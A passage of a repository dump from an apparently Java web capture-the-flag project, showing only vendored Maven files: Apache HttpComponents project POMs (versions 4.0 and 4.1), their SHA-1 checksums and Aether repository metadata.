<maven.compile.optimize>true</maven.compile.optimize>\n    <maven.compile.deprecation>true</maven.compile.deprecation>\n  </properties>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>false</filtering>\n        <includes>\n            <include>META-INF/*</include>\n        </includes>\n      </resource>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>true</filtering>\n        <includes>\n            <include>**/*.properties</include>\n        </includes>\n      </resource>\n    </resources>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${maven.compile.source}</source>\n          <target>${maven.compile.target}</target>\n          <optimize>${maven.compile.optimize}</optimize>\n          <showDeprecations>${maven.compile.deprecation}</showDeprecations>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <links>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>\n          </links>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>javadoc</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n\n      <plugin>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n      </plugin>\n\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n      </plugin>\n\n      <plugin>\n        <groupId>com.atlassian.maven.plugins</groupId>\n        <artifactId>maven-clover2-plugin</artifactId>\n        <configuration>\n          <jdk>1.5</jdk>\n        </configuration>\n      </plugin>\n\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/httpcore-4.0.1.pom.sha1",
    "content": "d965db94102b75a50bd29938ef67105da1535554"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:51 CST 2018\nproject-4.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.0/project-4.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n   $HeadURL: https://svn.apache.org/repos/asf/httpcomponents/project/pom.xml $\n   $Revision: 889371 $\n   $Date: 2009-12-10 20:02:13 +0100 (Thu, 10 Dec 2009) $\n\n   ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one\n   or more contributor license agreements.  See the NOTICE file\n   distributed with this work for additional information\n   regarding copyright ownership.  The ASF licenses this file\n   to you under the Apache License, Version 2.0 (the\n   \"License\"); you may not use this file except in compliance\n   with the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing,\n   software distributed under the License is distributed on an\n   \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n   KIND, either express or implied.  See the License for the\n   specific language governing permissions and limitations\n   under the License.\n   ====================================================================\n\n   This software consists of voluntary contributions made by many\n   individuals on behalf of the Apache Software Foundation.  For more\n   information on the Apache Software Foundation, please see\n   <http://www.apache.org/>.\n -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.httpcomponents</groupId>\n  <artifactId>project</artifactId>\n  <version>4.0</version>\n  <packaging>pom</packaging>\n  <name>HttpComponents</name>\n  <url>http://hc.apache.org/</url>\n  <description>Components to build HTTP enabled services</description>\n  <inceptionYear>2005</inceptionYear>\n\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n\n  <issueManagement>\n    <system>Jira</system>\n    <url>http://issues.apache.org/jira/</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/httpcomponents/project</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/httpcomponents/project</developerConnection>\n    <url>http://svn.apache.org/repos/asf/httpcomponents/project</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Ortwin Glueck</name>\n      <id>oglueck</id>\n      <email>oglueck -at- apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <url>http://www.odi.ch/</url>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Oleg Kalnichevski</name>\n      <id>olegk</id>\n      <email>olegk -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Asankha C. Perera</name>\n      <id>asankha</id>\n      <email>asankha -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone>+5.5</timezone>\n    </developer>\n    <developer>\n      <name>Sebastian Bazley</name>\n      <id>sebb</id>\n      <email>sebb -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone></timezone>\n    </developer>\n    <developer>\n      <name>Erik Abele</name>\n      <id>erikabele</id>\n      <email>erikabele -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC Chair</role>\n      </roles>\n      <url>http://www.codefaktor.de/</url>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Ant Elder</name>\n      <id>antelder</id>\n      <email>antelder -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone></timezone>\n    </developer>\n    <developer>\n      <name>Paul Fremantle</name>\n      <id>pzf</id>\n      <email>pzf -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone></timezone>\n    </developer>\n    <developer>\n      <name>Roland Weber</name>\n      <id>rolandw</id>\n      <email>rolandw -at- apache.org</email>\n      <roles>\n        <role>Emeritus PMC</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Sam Berlin</name>\n      <id>sberlin</id>\n      <email>sberlin -at- apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-4</timezone>\n    </developer>\n    <developer>\n      <name>Sean C. Sullivan</name>\n      <id>sullis</id>\n      <email>sullis -at- apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Julius Davies</name>\n      <email>juliusdavies -at- cucbc.com</email>\n    </contributor>\n    <contributor>\n      <name>Andrea Selva</name>\n      <email>selva.andre -at- gmail.com</email>\n    </contributor>\n    <contributor>\n      <name>Steffen Pingel</name>\n      <email>spingel -at- limewire.com</email>\n    </contributor>\n    <contributor>\n      <name>Quintin Beukes</name>\n      <email>quintin -at- last.za.net</email>\n    </contributor>\n    <contributor>\n      <name>Marc Beyerle</name>\n      <email>marc.beyerle -at- de.ibm.com</email>\n    </contributor>\n    <contributor>\n      <name>James Abley</name>\n      <email>james.abley -at- gmail.com</email>\n    </contributor>\n  </contributors>\n  <mailingLists>\n    <mailingList>\n      <name>HttpClient User List</name>\n      <subscribe>httpclient-users-subscribe@hc.apache.org</subscribe>\n      <unsubscribe>httpclient-users-unsubscribe@hc.apache.org</unsubscribe>\n      <post>httpclient-users@hc.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/hc-httpclient-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/HttpClient-User-f20180.html</otherArchive>\n        <otherArchive>http://marc.info/?l=httpclient-users</otherArchive>\n        <otherArchive>http://hc.apache.org/mail/httpclient-users/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>HttpComponents Dev List</name>\n      <subscribe>dev-subscribe@hc.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@hc.apache.org</unsubscribe>\n      <post>dev@hc.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/hc-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/HttpComponents-Dev-f20179.html</otherArchive>\n        <otherArchive>http://marc.info/?l=httpclient-commons-dev</otherArchive>\n        <otherArchive>http://hc.apache.org/mail/dev/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>HttpComponents Commits List</name>\n      <subscribe>commits-subscribe@hc.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@hc.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/hc-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://marc.info/?l=httpcomponents-commits</otherArchive>\n        <otherArchive>http://hc.apache.org/mail/commits/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n <distributionManagement>\n    <repository>\n      <id>apache.releases</id>\n      <name>Apache Release Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n    </snapshotRepository>\n    <site>\n      <id>apache.website</id>\n      <name>Apache Website</name>\n      <url>scp://people.apache.org/www/hc.apache.org/</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${maven.compile.source}</source>\n          <target>${maven.compile.target}</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>Apache ${pom.name}</Specification-Title>\n              <Specification-Vendor>Apache Software Foundation</Specification-Vendor>\n              <Implementation-Vendor>Apache Software Foundation</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Version>${pom.version}</Implementation-Version>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <executions>\n            <execution>\n              <id>sign-artifacts</id>\n              <phase>verify</phase>\n              <goals>\n                <goal>sign</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>com.atlassian.maven.plugins</groupId>\n          <artifactId>maven-clover2-plugin</artifactId>\n          <version>2.6.3</version>\n        </plugin>\n        <plugin>\n          <groupId>com.agilejava.docbkx</groupId>\n          <artifactId>docbkx-maven-plugin</artifactId>\n          <version>2.0.9</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>generate-html</goal>\n                <goal>generate-pdf</goal>\n              </goals>\n              <phase>pre-site</phase>\n            </execution>\n          </executions>\n          <dependencies>\n            <dependency>\n              <groupId>org.docbook</groupId>\n              <artifactId>docbook-xml</artifactId>\n              <version>4.4</version>\n              <scope>runtime</scope>\n            </dependency>\n          </dependencies>\n          <configuration>\n            <includes>index.xml</includes>\n            <chunkedOutput>true</chunkedOutput>\n            <xincludeSupported>true</xincludeSupported>\n            <foCustomization>src/docbkx/resources/xsl/fopdf.xsl</foCustomization>\n            <htmlCustomization>src/docbkx/resources/xsl/html_chunk.xsl</htmlCustomization>\n            <htmlStylesheet>css/hc-tutorial.css</htmlStylesheet>\n            <entities>\n              <entity>\n                <name>version</name>\n                <value>${pom.version}</value>\n              </entity>\n            </entities>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.0.1</version>\n        </plugin>\n        <plugin>\n           <groupId>org.apache.maven.plugins</groupId>\n           <artifactId>maven-project-info-reports-plugin</artifactId>\n           <version>2.0.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-report-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-jxr-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n        <plugin>\n           <groupId>org.apache.maven.plugins</groupId>\n           <artifactId>maven-project-info-reports-plugin</artifactId>\n           <reportSets>\n             <reportSet>\n               <reports>\n                 <report>project-team</report>\n                 <report>mailing-list</report>\n                 <report>issue-tracking</report>\n                 <report>scm</report>\n               </reports>\n             </reportSet>\n           </reportSets>\n        </plugin>\n    </plugins>\n  </reporting>\n\n  <modules>\n    <module>../httpcore</module>\n    <module>../httpclient</module>\n  </modules>\n\n <profiles>\n   <profile>\n     <id>release</id>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.apache.maven.plugins</groupId>\n           <artifactId>maven-gpg-plugin</artifactId>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.0/project-4.0.pom.sha1",
    "content": "096553966ef79545593062a0c6057a821e39d284"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:50 CST 2018\nproject-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.1/project-4.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n   $HeadURL: https://svn.apache.org/repos/asf/httpcomponents/project/pom.xml $\n   $Revision: 954415 $\n   $Date: 2010-06-14 13:45:02 +0200 (Mon, 14 Jun 2010) $\n\n   ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one\n   or more contributor license agreements.  See the NOTICE file\n   distributed with this work for additional information\n   regarding copyright ownership.  The ASF licenses this file\n   to you under the Apache License, Version 2.0 (the\n   \"License\"); you may not use this file except in compliance\n   with the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing,\n   software distributed under the License is distributed on an\n   \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n   KIND, either express or implied.  See the License for the\n   specific language governing permissions and limitations\n   under the License.\n   ====================================================================\n\n   This software consists of voluntary contributions made by many\n   individuals on behalf of the Apache Software Foundation.  For more\n   information on the Apache Software Foundation, please see\n   <http://www.apache.org/>.\n -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.httpcomponents</groupId>\n  <artifactId>project</artifactId>\n  <version>4.1</version>\n  <packaging>pom</packaging>\n  <name>HttpComponents</name>\n  <url>http://hc.apache.org/</url>\n  <description>Components to build HTTP enabled services</description>\n  <inceptionYear>2005</inceptionYear>\n\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n\n  <issueManagement>\n    <system>Jira</system>\n    <url>http://issues.apache.org/jira/</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/httpcomponents/project</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/httpcomponents/project</developerConnection>\n    <url>http://svn.apache.org/repos/asf/httpcomponents/project</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Ortwin Glueck</name>\n      <id>oglueck</id>\n      <email>oglueck -at- apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <url>http://www.odi.ch/</url>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Oleg Kalnichevski</name>\n      <id>olegk</id>\n      <email>olegk -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Asankha C. Perera</name>\n      <id>asankha</id>\n      <email>asankha -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone>+5.5</timezone>\n    </developer>\n    <developer>\n      <name>Sebastian Bazley</name>\n      <id>sebb</id>\n      <email>sebb -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone></timezone>\n    </developer>\n    <developer>\n      <name>Erik Abele</name>\n      <id>erikabele</id>\n      <email>erikabele -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC Chair</role>\n      </roles>\n      <url>http://www.codefaktor.de/</url>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Ant Elder</name>\n      <id>antelder</id>\n      <email>antelder -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone></timezone>\n    </developer>\n    <developer>\n      <name>Paul Fremantle</name>\n      <id>pzf</id>\n      <email>pzf -at- apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n        <role>PMC</role>\n      </roles>\n      <timezone></timezone>\n    </developer>\n    <developer>\n      <name>Roland Weber</name>\n      <id>rolandw</id>\n      <email>rolandw -at- apache.org</email>\n      <roles>\n        <role>Emeritus PMC</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Sam Berlin</name>\n      <id>sberlin</id>\n      <email>sberlin -at- apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-4</timezone>\n    </developer>\n    <developer>\n      <name>Sean C. Sullivan</name>\n      <id>sullis</id>\n      <email>sullis -at- apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Julius Davies</name>\n      <email>juliusdavies -at- cucbc.com</email>\n    </contributor>\n    <contributor>\n      <name>Andrea Selva</name>\n      <email>selva.andre -at- gmail.com</email>\n    </contributor>\n    <contributor>\n      <name>Steffen Pingel</name>\n      <email>spingel -at- limewire.com</email>\n    </contributor>\n    <contributor>\n      <name>Quintin Beukes</name>\n      <email>quintin -at- last.za.net</email>\n    </contributor>\n    <contributor>\n      <name>Marc Beyerle</name>\n      <email>marc.beyerle -at- de.ibm.com</email>\n    </contributor>\n    <contributor>\n      <name>James Abley</name>\n      <email>james.abley -at- gmail.com</email>\n    </contributor>\n  </contributors>\n  <mailingLists>\n    <mailingList>\n      <name>HttpClient User List</name>\n      <subscribe>httpclient-users-subscribe@hc.apache.org</subscribe>\n      <unsubscribe>httpclient-users-unsubscribe@hc.apache.org</unsubscribe>\n      <post>httpclient-users@hc.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/hc-httpclient-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/HttpClient-User-f20180.html</otherArchive>\n        <otherArchive>http://marc.info/?l=httpclient-users</otherArchive>\n        <otherArchive>http://hc.apache.org/mail/httpclient-users/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>HttpComponents Dev List</name>\n      <subscribe>dev-subscribe@hc.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@hc.apache.org</unsubscribe>\n      <post>dev@hc.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/hc-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/HttpComponents-Dev-f20179.html</otherArchive>\n        <otherArchive>http://marc.info/?l=httpclient-commons-dev</otherArchive>\n        <otherArchive>http://hc.apache.org/mail/dev/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>HttpComponents Commits List</name>\n      <subscribe>commits-subscribe@hc.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@hc.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/hc-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://marc.info/?l=httpcomponents-commits</otherArchive>\n        <otherArchive>http://hc.apache.org/mail/commits/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>Apache Development Snapshot Repository</name>\n      <url>https://repository.apache.org/content/repositories/snapshots</url>\n    </snapshotRepository>\n    <site>\n      <id>apache.website</id>\n      <name>Apache Website</name>\n      <url>scp://people.apache.org/www/hc.apache.org/</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${maven.compile.source}</source>\n          <target>${maven.compile.target}</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>Apache ${project.name}</Specification-Title>\n              <Specification-Vendor>Apache Software Foundation</Specification-Vendor>\n              <Implementation-Vendor>Apache Software Foundation</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.1</version>\n          <executions>\n            <execution>\n              <id>sign-artifacts</id>\n              <phase>verify</phase>\n              <goals>\n                <goal>sign</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.7</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jxr-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n           <groupId>org.apache.maven.plugins</groupId>\n           <artifactId>maven-project-info-reports-plugin</artifactId>\n           <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-report-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>com.agilejava.docbkx</groupId>\n          <artifactId>docbkx-maven-plugin</artifactId>\n          <version>2.0.10</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>generate-html</goal>\n                <goal>generate-pdf</goal>\n              </goals>\n              <phase>pre-site</phase>\n            </execution>\n          </executions>\n          <dependencies>\n            <dependency>\n              <groupId>org.docbook</groupId>\n              <artifactId>docbook-xml</artifactId>\n              <version>4.4</version>\n              <scope>runtime</scope>\n            </dependency>\n          </dependencies>\n          <configuration>\n            <includes>index.xml</includes>\n            <chunkedOutput>true</chunkedOutput>\n            <xincludeSupported>true</xincludeSupported>\n            <foCustomization>src/docbkx/resources/xsl/fopdf.xsl</foCustomization>\n            <htmlCustomization>src/docbkx/resources/xsl/html_chunk.xsl</htmlCustomization>\n            <htmlStylesheet>css/hc-tutorial.css</htmlStylesheet>\n            <entities>\n              <entity>\n                <name>version</name>\n                <value>${project.version}</value>\n              </entity>\n            </entities>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>com.atlassian.maven.plugins</groupId>\n          <artifactId>maven-clover2-plugin</artifactId>\n          <version>3.0.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n        <plugin>\n           <groupId>org.apache.maven.plugins</groupId>\n           <artifactId>maven-project-info-reports-plugin</artifactId>\n           <reportSets>\n             <reportSet>\n               <reports>\n                 <report>project-team</report>\n                 <report>mailing-list</report>\n                 <report>issue-tracking</report>\n                 <report>scm</report>\n               </reports>\n             </reportSet>\n           </reportSets>\n        </plugin>\n    </plugins>\n  </reporting>\n\n  <modules>\n    <module>../httpcore</module>\n    <module>../httpclient</module>\n  </modules>\n\n <profiles>\n   <profile>\n     <id>release</id>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.apache.maven.plugins</groupId>\n           <artifactId>maven-gpg-plugin</artifactId>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n    <!-- \n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.1/project-4.1.pom.sha1",
    "content": "b63ff67e6ffc1940041319e0e06d7c6b1d671fd2\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:00 CST 2018\ndoxia-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom",
